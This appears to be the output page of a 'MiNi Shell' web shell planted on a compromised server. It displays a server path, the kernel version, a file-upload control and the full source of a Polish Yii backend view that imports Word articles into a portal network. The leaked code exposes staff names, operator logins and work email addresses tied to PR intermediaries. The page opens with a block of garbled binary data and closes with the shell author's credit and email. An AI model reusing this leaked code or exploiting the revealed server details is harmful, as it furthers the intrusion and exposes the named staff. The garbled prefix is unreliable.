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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/views/articles/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/views/articles/import_from_doc_file.php

<?php

use yii\helpers\Html;
use yii\helpers\Url;
use yii\widgets\ActiveForm;
use backend\components\widgets\FlashMessages;
use backend\assets\ArticleImportFromDocAsset;

$articleImportFromDocBundle = ArticleImportFromDocAsset::register($this);

/* @var $this yii\web\View */
/* @var $data array */

$this->title = Yii::t('backend', 'Artykuły').' - '.Yii::t('backend', 'Importuj');
$this->params['breadcrumbs'][] = ['label' => Yii::t('backend', 'Artykuły'), 'url' => ['articles/index']];
$this->params['breadcrumbs'][] = Yii::t('backend', 'Importuj');

$this->params['contentHeader'] = 'Import artykułu z pliku Word\'a (.docx)'; //Yii::t('backend', 'Przypisz artykuły do portali');

$this->registerJs(' 

    window.addEventListener("load", function () {
        var importer = new ArticleImporter('.yii\helpers\Json::encode([
            'csrfToken' => Yii::$app->request->getCsrfToken(), 
            'sourceDir' => Yii::$app->request->get('uuid'),
            'refreshPreviewCallback' => new \yii\web\JsExpression('function() { $("#import-from-doc-file-preview-pjax").load("'.Url::to(['articles/preview-for-import-from-doc-file', 'uuid' => Yii::$app->request->get('uuid')]).'"); }'),
        ]).');
        importer.addEventListeners();
    });

', \yii\web\View::POS_BEGIN);

$this->registerJs(
   '$("document").ready(function(){ 
        $("#import-from-doc-file-preview-pjax").load("'.Url::to(['articles/preview-for-import-from-doc-file', 'uuid' => Yii::$app->request->get('uuid')]).'");
    });'
);

$loggedUser = Yii::$app->user->identity->forename.' '.Yii::$app->user->identity->surname;

?>

<?= FlashMessages::widget(); ?>
<div class="box box-primary">
    <div class="import-from-doc-file box-body">
        <div class="row">
            <div class="col-md-6">
                <?php $form = ActiveForm::begin([
                    'id' => 'import-from-doc-file-form',
                    'action' => ['articles/import-from-doc-file', 'uuid' => Yii::$app->request->get('uuid')],
                    'method' => 'post',
                    'enableAjaxValidation' => false,
                    'enableClientValidation' => true,
                    'validateOnSubmit' => true,
                    'validateOnChange' => true,
                    'validateOnType' => true,
                ]); ?>

                <input type="hidden" name="dir_temp" id="dirTemp" value="<?= Yii::$app->request->get('uuid'); ?>" />
                
                <?php foreach ($data['sections'] as $sectionHash => $section) { ?>
                    
                    <div class="section" id="section-<?php echo $sectionHash; ?>">
                        <div class="header">
                            <div>
                                <?php if(!empty($section['content'])) { ?>
                                    <label>
                                        <input class="modifier-data" type="checkbox" name="section[<?= $sectionHash ?>][or_title]" value="1" data-path="<?php echo 'sections.'.$sectionHash.'.or_title' ;?>" data-value-on="1" data-value-off="0" data-type="boolean"<?php if($section['or_title']): ?> checked<?php endif; ?>> Tytuł
                                    </label>
                                    <label>
                                        <input class="modifier-data" type="checkbox" name="section[<?= $sectionHash ?>][or_lead]" value="1" data-path="<?php echo 'sections.'.$sectionHash.'.or_lead' ;?>" data-value-on="1" data-value-off="0" data-type="boolean"<?php if($section['or_lead']): ?> checked<?php endif; ?>> Wstęp
                                    </label>
                                <label>
                                    Nagłówek: 
                                    <select class="modifier-data" data-path="<?php echo 'sections.'.$sectionHash.'.header_tag' ;?>">
                                        <option value="" data-value="" data-type="string"<?php if($section['header_tag'] === ''): ?> selected<?php endif; ?>>brak</option>
                                        <option value="h2" data-value="h2" data-type="string"<?php if($section['header_tag'] === 'h2'): ?> selected<?php endif; ?>>H2</option>
                                        <option value="h3" data-value="h3" data-type="string"<?php if($section['header_tag'] === 'h3'): ?> selected<?php endif; ?>>H3</option>
                                        <option value="h4" data-value="h4" data-type="string"<?php if($section['header_tag'] === 'h4'): ?> selected<?php endif; ?>>H4</option>
                                        <option value="h5" data-value="h5" data-type="string"<?php if($section['header_tag'] === 'h5'): ?> selected<?php endif; ?>>H5</option>
                                        <option value="h6" data-value="h6" data-type="string"<?php if($section['header_tag'] === 'h6'): ?> selected<?php endif; ?>>H6</option>
                                    </select>
                                </label>
                                <?php $flexwrap=""; } else { $flexwrap=" flex-wrap"; } ?>
                            </div>
                            <label class="remove">
                                <input class="modifier-data" type="checkbox" name="section[<?= $sectionHash ?>][or_hidden]" value="1" data-path="<?php echo 'sections.'.$sectionHash.'.or_hidden' ;?>" data-value-on="1" data-value-off="0" data-type="boolean"<?php if($section['or_hidden']): ?> checked<?php endif; ?>> Pomiń
                            </label>
                        </div>
                        <div class="<?php echo isset($section['images']) ? 'flex' : 'block'; echo $flexwrap; ?>">
                            
                            <?php foreach($section['images'] as $imageHash => $image): ?>
                                <div class="article-photo" data-path="<?php echo 'sections.'.$sectionHash.'.images.'.$imageHash; ?>" style="width:calc(<?php echo ((100)/(count($section['images'])>1?2:1) - 2) ?>% - 20px);">
                                    <img src="<?php echo htmlspecialchars($image['url']); ?>" alt="image" loading="lazy" class="img-responsive" />
                                    <div class="details-container">
                                        <div>
                                            <input type="radio" name="main_photo" value="<?php echo htmlspecialchars(basename($image['url'])); ?>" class="modifier-data" data-path="main_image" data-value="<?php echo htmlspecialchars(basename($image['url'])); ?>" data-type="string"<?php echo $data['main_image'] === basename($image['url']) ? ' checked' : ''; ?>> Główne
                                        </div>
                                        <div>
                                            <span class="article-photo-details"><?php echo $image['width']; ?>×<?php echo $image['height']; ?>px</span>
                                            <span class="article-photo-status img_<?php if(intval($image['width']) < 1000): ?>no<?php else: ?>ok<?php endif; ?>">[<?php if(intval($image['width']) < 1000): ?>NO<?php else: ?>OK<?php endif; ?>]</span>
                                        </div>                                        
                                    </div>
                                </div>
                            <?php endforeach; ?>
                            <?php if(!empty($section['content'])): ?>
                                <p id="text_<?php echo $sectionHash; ?>"><?php echo $section['content']; ?></p>
                            <?php endif; ?>
                            
                            <?php
//                                $html = '';
//
//                                $imagesHtml = '';
//                                foreach ($section['images'] as $imageHash => $image) {
//                                    $photoStatus = '<span class="article-photo-details">'.$image['width'] . "×" . $image['height'] . "px ".'</span>';
//                                    if (intval($image['width']) < 1000) {
//                                        $photoStatus .= '<span class="article-photo-status img_no">[NO]</span>';
//                                    } else {
//                                        $photoStatus .= '<span class="article-photo-status img_ok">[OK]</span>';
//                                    }
//                                    $photoStatus .= '<br>Zdjęcie główne <input type="radio" name="main_photo" value="'.htmlspecialchars(basename($image['url'])).'" class="modifier-data" data-path="main_image" data-value="'.htmlspecialchars(basename($image['url'])).'" data-type="string"'.($data['main_image'] === basename($image['url']) ? ' checked' : '').'>';
//
//
//                                    $statusHtml = $photoStatus;
//                                    $imagesHtml .= '<div class="article-photo" style="width:calc('.((100)/(count($section['images'])>1?2:1) - 2).'% - 20px);" data-path="'.'sections.'.$sectionHash.'.images.'.$imageHash.'">
//                                        <img src="' . htmlspecialchars($image['url']) . '" alt="image" loading="lazy" class="img-responsive" />
//                                            '.$statusHtml.'
//                                        </div>';                            
//                                }
//                                $html .= $imagesHtml;
//                                if (!empty($section['content'])) {
//                                    $html .= '<p id="text_'.$sectionHash.'">'.$section['content'].'</p>';
//                                }
//                                echo $html;
                            ?>
                        </div>
                    </div>
                <?php } ?>
                
                <div class="section" >
                    <div class="header">
                        <div>
                            Zdjęcia w artykule
                        </div>
                    </div>
                    <div class="all-article-images">
                        <?php foreach ($data['sections'] as $sectionHash => $section): ?>
                            <?php foreach($section['images'] as $imageHash => $image): ?>
                                <div class="article-photo replaceable-article-photo" data-path="<?php echo 'sections.'.$sectionHash.'.images.'.$imageHash; ?>" style="width:calc(31% - 20px);">
                                    <img src="<?php echo htmlspecialchars($image['url']); ?>" alt="image" loading="lazy" class="img-responsive" />
                                    <div class="details-container">
                                        <div>
                                            <input type="radio" name="main_photo" value="<?php echo htmlspecialchars(basename($image['url'])); ?>" class="modifier-data" data-path="main_image" data-value="<?php echo htmlspecialchars(basename($image['url'])); ?>" data-type="string"> Główne
                                        </div>
                                        <div>
                                            <span class="article-photo-details"><?php echo $image['width']; ?>×<?php echo $image['height']; ?>px</span>
                                            <span class="article-photo-status img_<?php if(intval($image['width']) < 1000): ?>no<?php else: ?>ok<?php endif; ?>">[<?php if(intval($image['width']) < 1000): ?>NO<?php else: ?>OK<?php endif; ?>]</span>
                                        </div>                                        
                                    </div>
                                </div>
                            <?php endforeach; ?>
                        <?php endforeach; ?>
                    </div>
                </div>
                
                <div class="section" >
                    <div class="header">
                        <div>
                            Nowe zdjęcia
                        </div>
                    </div>
                    <div class="file-drop-area">
                        <div class="file-drop-zone" id="fileDropZone">
                            Przeciągnij i upuść pliki tutaj lub kliknij, aby wybrać
                        </div>
                        <div class="file-list-preview" id="fileListPreview" style="display: none;"></div>
                        <div class="file-waiting-list-preview" id="fileWaitingListPreview">Nie wybrano plików</div>                        
                        <button class="upload-btn" id="uploadBtn" type="button" disabled>Importuj nowe zdjęcia</button>
                    </div>  
                </div>
                
                <div class="section" >
                    <div class="header">
                        <div>
                            Dodatkowe zdjęcia
                        </div>
                    </div>
                    <div class="additional-images">
                        <div class="additional-images-drop-zone" id="additionalImagesDropZone" data-type="json" data-path="additional_images" data-value="<?php echo htmlspecialchars(json_encode($data['additional_images'])); ?>">
                            Tutaj przeciągnij dodatkowe zdjecia.
                        </div>
                        <div class="additional-images-list-preview" id="additionalImagesListPreview">
                            <?php foreach($data['additional_images'] as $additionalImage): ?>
                                <div class="article-photo" style="width:calc(31% - 20px);">
                                    <img src="<?php echo htmlspecialchars($additionalImage['url']); ?>" alt="image" loading="lazy" class="img-responsive" />
                                    <div class="details-container">
                                        <div class="delete-button">[X]</div>
                                        <div>
                                            <span class="article-photo-details"><?php echo $additionalImage['width']; ?>×<?php echo $additionalImage['height']; ?>px</span>
                                            <span class="article-photo-status img_<?php if(intval($additionalImage['width']) < 1000): ?>no<?php else: ?>ok<?php endif; ?>">[<?php if(intval($additionalImage['width']) < 1000): ?>NO<?php else: ?>OK<?php endif; ?>]</span>
                                        </div>                                        
                                    </div>
                                </div>
                            <?php endforeach; ?>
                        </div>
                    </div>  
                </div>
                
                <div class="section" >
                    <div class="header">
                        <div>
                            Wybierz portal
                        </div>
                    </div>
                    <div class="portals">
                        <?php $selectedPortals = array_map('intval', $data['portals']); ?>
                        <div>
                            <label><input type="checkbox" name="portals[]" value="5" class="modifier-data" data-path="portals" data-value="5" data-type="integer" data-group="portals"<?php if(in_array(5, $selectedPortals)): ?> checked<?php endif; ?>> alarmy.org</label><br>
                            <label><input type="checkbox" name="portals[]" value="36" class="modifier-data" data-path="portals" data-value="36" data-type="integer" data-group="portals"<?php if(in_array(36, $selectedPortals)): ?> checked<?php endif; ?>> blacha.biz</label><br>
                            <label><input type="checkbox" name="portals[]" value="40" class="modifier-data" data-path="portals" data-value="40" data-type="integer" data-group="portals"<?php if(in_array(40, $selectedPortals)): ?> checked<?php endif; ?>> budowa.org</label><br>
                            <label><input type="checkbox" name="portals[]" value="24" class="modifier-data" data-path="portals" data-value="24" data-type="integer" data-group="portals"<?php if(in_array(24, $selectedPortals)): ?> checked<?php endif; ?>> budownictwo.org</label><br>
                            <label><input type="checkbox" name="portals[]" value="15" class="modifier-data" data-path="portals" data-value="15" data-type="integer" data-group="portals"<?php if(in_array(15, $selectedPortals)): ?> checked<?php endif; ?>> chlodnictwo.biz</label><br>
                            <label><input type="checkbox" name="portals[]" value="1" class="modifier-data" data-path="portals" data-value="1" data-type="integer" data-group="portals"<?php if(in_array(1, $selectedPortals)): ?> checked<?php endif; ?>> elektryka.org</label><br>
                            <label><input type="checkbox" name="portals[]" value="71" class="modifier-data" data-path="portals" data-value="71" data-type="integer" data-group="portals"<?php if(in_array(71, $selectedPortals)): ?> checked<?php endif; ?>> jedzenie.info.pl</label><br>
                            <label><input type="checkbox" name="portals[]" value="14" class="modifier-data" data-path="portals" data-value="14" data-type="integer" data-group="portals"<?php if(in_array(14, $selectedPortals)): ?> checked<?php endif; ?>> klimatyzacja.biz</label><br>
                            <label><input type="checkbox" name="portals[]" value="41" class="modifier-data" data-path="portals" data-value="41" data-type="integer" data-group="portals"<?php if(in_array(41, $selectedPortals)): ?> checked<?php endif; ?>> kominy.biz</label><br>
                            <label><input type="checkbox" name="portals[]" value="11" class="modifier-data" data-path="portals" data-value="11" data-type="integer" data-group="portals"<?php if(in_array(11, $selectedPortals)): ?> checked<?php endif; ?>> ksiegowosc.org</label>
                        </div>
                        <div>
                            <label><input type="checkbox" name="portals[]" value="52" class="modifier-data" data-path="portals" data-value="52" data-type="integer" data-group="portals"<?php if(in_array(52, $selectedPortals)): ?> checked<?php endif; ?>> mebelia.com.pl</label><br>
                            <label><input type="checkbox" name="portals[]" value="8" class="modifier-data" data-path="portals" data-value="8" data-type="integer" data-group="portals"<?php if(in_array(8, $selectedPortals)): ?> checked<?php endif; ?>> metale.org</label><br>							
                            <label><input type="checkbox" name="portals[]" value="4" class="modifier-data" data-path="portals" data-value="4" data-type="integer" data-group="portals"<?php if(in_array(4, $selectedPortals)): ?> checked<?php endif; ?>> narzedziownia.org</label><br>
                            <label><input type="checkbox" name="portals[]" value="17" class="modifier-data" data-path="portals" data-value="17" data-type="integer" data-group="portals"<?php if(in_array(17, $selectedPortals)): ?> checked<?php endif; ?>> nieruchomosci.biz</label><br>
                            <label><input type="checkbox" name="portals[]" value="70" class="modifier-data" data-path="portals" data-value="70" data-type="integer" data-group="portals"<?php if(in_array(70, $selectedPortals)): ?> checked<?php endif; ?>> odpylanie.info</label><br>
                            <label><input type="checkbox" name="portals[]" value="35" class="modifier-data" data-path="portals" data-value="35" data-type="integer" data-group="portals"<?php if(in_array(35, $selectedPortals)): ?> checked<?php endif; ?>> ogrzewanie.info.pl</label><br>
                            <label><input type="checkbox" name="portals[]" value="16" class="modifier-data" data-path="portals" data-value="16" data-type="integer" data-group="portals"<?php if(in_array(16, $selectedPortals)): ?> checked<?php endif; ?>> opakowania.biz</label><br>
                            <label><input type="checkbox" name="portals[]" value="64" class="modifier-data" data-path="portals" data-value="64" data-type="integer" data-group="portals"<?php if(in_array(64, $selectedPortals)): ?> checked<?php endif; ?>> podlogi.org</label><br>
                            <label><input type="checkbox" name="portals[]" value="6" class="modifier-data" data-path="portals" data-value="6" data-type="integer" data-group="portals"<?php if(in_array(6, $selectedPortals)): ?> checked<?php endif; ?>> rachunkowosc.org</label><br>
                            <label><input type="checkbox" name="portals[]" value="43" class="modifier-data" data-path="portals" data-value="43" data-type="integer" data-group="portals"<?php if(in_array(43, $selectedPortals)): ?> checked<?php endif; ?>> sacro.com.pl</label>
                        </div>
                        <div>
                            <label><input type="checkbox" name="portals[]" value="53" class="modifier-data" data-path="portals" data-value="53" data-type="integer" data-group="portals"<?php if(in_array(53, $selectedPortals)): ?> checked<?php endif; ?>> stolarstwo.org</label><br>
                            <label><input type="checkbox" name="portals[]" value="10" class="modifier-data" data-path="portals" data-value="10" data-type="integer" data-group="portals"<?php if(in_array(10, $selectedPortals)): ?> checked<?php endif; ?>> styropian.biz</label><br>
                            <label><input type="checkbox" name="portals[]" value="3" class="modifier-data" data-path="portals" data-value="3" data-type="integer" data-group="portals"<?php if(in_array(3, $selectedPortals)): ?> checked<?php endif; ?>> tworzywa.org</label><br>
                            <label><input type="checkbox" name="portals[]" value="13" class="modifier-data" data-path="portals" data-value="13" data-type="integer" data-group="portals"<?php if(in_array(13, $selectedPortals)): ?> checked<?php endif; ?>> wentylacja.biz</label><br>
                            <label><input type="checkbox" name="portals[]" value="55" class="modifier-data" data-path="portals" data-value="55" data-type="integer" data-group="portals"<?php if(in_array(55, $selectedPortals)): ?> checked<?php endif; ?>> wnetrza.org</label><br>
                            <label><input type="checkbox" name="portals[]" value="32" class="modifier-data" data-path="portals" data-value="32" data-type="integer" data-group="portals"<?php if(in_array(32, $selectedPortals)): ?> checked<?php endif; ?>> wod-kan.biz</label><br>
                            <label><input type="checkbox" name="portals[]" value="56" class="modifier-data" data-path="portals" data-value="56" data-type="integer" data-group="portals"<?php if(in_array(56, $selectedPortals)): ?> checked<?php endif; ?>> wykonczenia.biz</label><br>
                            <label><input type="checkbox" name="portals[]" value="126" class="modifier-data" data-path="portals" data-value="126" data-type="integer" data-group="portals"<?php if(in_array(126, $selectedPortals)): ?> checked<?php endif; ?>> wystrojwnetrz.biz</label>
                        </div>
                    </div>  
                </div>
                
                <div class="section" >
                    <div class="header">
                        <div>
                            Pośrednik / Agencja PR
                        </div>
                    </div>
                    <div class="intermediaries">
                        <?php 
                            $selectedIntermediaryId = !empty($data['intermediary']['id']) ? intval($data['intermediary']['id']) : null;
                        
                            $intermediaries = [
                                [196676, "Whitepress", "vm_lukasz2", "Łukasz - whitepress\nreklama w treści - nie\ndofollow\n1 dzień\nsponsorowany\n$loggedUser", "lukasz@vertica.pl"],
                                [199583, "Times Press", "vm_lukasz2", "Łukasz - timespress\nreklama w treści - nie\ndofollow\n1 dzień\nsponsorowany\n$loggedUser", "lukasz@vertica.pl"],								
                                [251781, "Seolo", "vm_lukasz2", "Łukasz - Seolo\nreklama w treści - nie\ndofollow\n1 dzień\nsponsorowany\n$loggedUser", "lukasz@vertica.pl"],
                                [199403, "Eactive", "vm_lukasz2", "Łukasz - Eactive\nreklama w treści - nie\ndofollow\n1 dzień\nsponsorowany\n$loggedUser", "lukasz@vertica.pl"],
                                [90279, "Linkhouse [KBR]", "vm_adam", "Adam - Linkhouse, KBR\nreklama w treści - nie\ndofollow\n1 dzień\nsponsorowany\n$loggedUser", "adam@vertica.pl"],
                                [215676, "Traffic Trends", "vm_sandra2", "Sandra - Traffic\nreklama w treści - nie\ndofollow\n1 dzień\nsponsorowany\n$loggedUser", "sandra.potapenko@vertica.pl"],
                                [89904, "Modern Trade", "vm_nadolska", "Beata - Modern Trade\nreklama w treści - nie\ndofollow\n1 dzień\nsponsorowany\n$loggedUser", "beata.nadolska@vertica.pl"],
                                [209083, "ISHIDA – ALL 4 COMMS", "vm_nadolska", "Beata - All 4 Comms\nreklama w treści - nie\ndofollow\n1 dzień\nsponsorowany\n$loggedUser", "beata.nadolska@vertica.pl"],
                                [23985, "Safege – SUEZ", "vm_adam", "Adam - Safage\nreklama w treści - nie\ndofollow\n1 dzień\nsponsorowany\n$loggedUser", "adam@vertica.pl"],
                                [199904, "KSM Media Konrad Semma - BOSTIK Polska", "vm_nadolska", "Beata - KSM\nreklama w treści - nie\ndofollow\n1 dzień\nsponsorowany\n$loggedUser", "beata.nadolska@vertica.pl"],
                                [1752, "REKORD SI", "vm_palicka", "Kasia - Rekord\nreklama w treści - nie\ndofollow\n1 dzień\nsponsorowany\n$loggedUser", "katarzyna.palicka@vertica.pl"],
                                [251403, "SEO NEDIO", "vm_sandra2", "Sandra - SEO Nedio\nreklama w treści - nie\ndofollow\n1 dzień\nsponsorowany\n$loggedUser", "sandra.potapenko@vertica.pl"]
                            ];
                        ?>
                        <label><input 
                            type="radio" 
                            name="intermediary" 
                            value="" 
                            class="modifier-data" 
                            data-path="intermediary",
                            data-type="json" 
                            data-value="<?php echo htmlspecialchars(json_encode([
                                'id' => "",
                                'annotations' => "",
                                'operator_login' => "",
                                'email_address' => ""
                            ])); ?>"
                            checked
                        > Bez pośrednika</label>
                        <?php foreach($intermediaries as $intermediary) { ?>
                                <label><input 
                                    type="radio" 
                                    name="intermediary" 
                                    value="<?php echo $intermediary[0].'|'.$intermediary[2].'|'.$intermediary[4].'|'.$intermediary[3]; ?>" 
                                    class="modifier-data" 
                                    data-path="intermediary",
                                    data-type="json" 
                                    data-value="<?php echo htmlspecialchars(json_encode([
                                        'id' => intval($intermediary[0]),
                                        'annotations' => $intermediary[3],
                                        'operator_login' => $intermediary[2],
                                        'email_address' => $intermediary[4]
                                    ])); ?>"
                                    <?php if($selectedIntermediaryId === $intermediary[0]): ?> checked<?php endif; ?>
                                > <?php echo $intermediary[1]; ?></label>
                        <?php } ?>
						
                    </div>  
                </div>

                <div class="form-group">
                    <?= Html::submitButton(Yii::t('backend', 'Utwórz'), ['name' => 'create', 'value' => 1, 'class' => 'btn btn-primary']) ?>
                    <?= Html::submitButton(Yii::t('backend', 'Usuń'), ['name' => 'delete', 'value' => 1, 'class' => 'btn btn-danger']) ?>
                </div>

                <?php ActiveForm::end(); ?>
            </div>
            <div class="col-md-6" id="import-from-doc-file-preview-pjax">
                
            </div>
        </div>
        
    </div>
</div>

Creat By MiNi SheLL
Email: jattceo@gmail.com